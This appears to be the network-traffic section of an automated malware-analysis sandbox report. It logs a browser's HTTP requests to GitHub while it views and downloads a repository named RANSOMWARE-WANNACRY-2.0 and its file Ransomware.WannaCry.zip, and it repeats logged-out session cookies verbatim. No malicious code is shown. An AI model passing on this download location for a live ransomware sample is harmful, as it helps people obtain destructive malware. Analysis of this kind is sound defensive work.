_octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/deferred-metadata/master/Ransomware.WannaCry.zip HTTP/1.1Host: github.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /u/19915931?v=4&size=40 HTTP/1.1Host: avatars.githubusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/refs?type=branch HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurichIf-None-Match: W/"8472f0ac1bd0bdea4efec9eccc6c7961"
Source: global traffic	HTTP traffic detected: GET /favicons/favicon.svg HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /manifest.json HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: manifestReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/refs?type=branch HTTP/1.1Host: github.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /favicons/favicon.png HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicons/favicon.svg HTTP/1.1Host: github.githubassets.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0 HTTP/1.1Host: github.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /assets/apple-touch-icon-144x144-b882e354c005.png HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_UnderlineNav_index_js-89fa5806aa3c.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_AvatarStack_AvatarStack_js-node_modules_primer_reac-558b50-c6ea7afb7179.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/repos-overview-4ddd2c275f25.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js-878844713bc9.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/spoofed_commit_check/2445abd45c99c3ad9611ebcacc6cfe28451c2c0d HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: text/htmlX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/hovercards/citation/sidebar_partial?tree_name=master HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: text/htmlX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/used_by_list HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: text/fragment+htmlX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /favicons/favicon.png HTTP/1.1Host: github.githubassets.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/refs?type=branch HTTP/1.1Host: github.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-c537341-b93616e2fc14.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/apple-touch-icon-144x144-b882e354c005.png HTTP/1.1Host: github.githubassets.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/app_assets_modules_github_ref-selector_ts-b593b93f23f5.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/codespaces-1a8626dd714a.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_remote-form_-01f9fa-075cdbe1c5e3.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_filter--b2311f-4c891ec4eeb9.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/spoofed_commit_check/2445abd45c99c3ad9611ebcacc6cfe28451c2c0d HTTP/1.1Host: github.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /assets/chunk-ui_packages_code-view-shared_components_files-search_FileResultsList_tsx-8044b2e52146.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/latest-commit/master HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: application/jsonX-Requested-With: XMLHttpRequestGitHub-Verified-Fetch: truesec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/tree-commit-info/master HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: application/jsonX-Requested-With: XMLHttpRequestGitHub-Verified-Fetch: truesec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
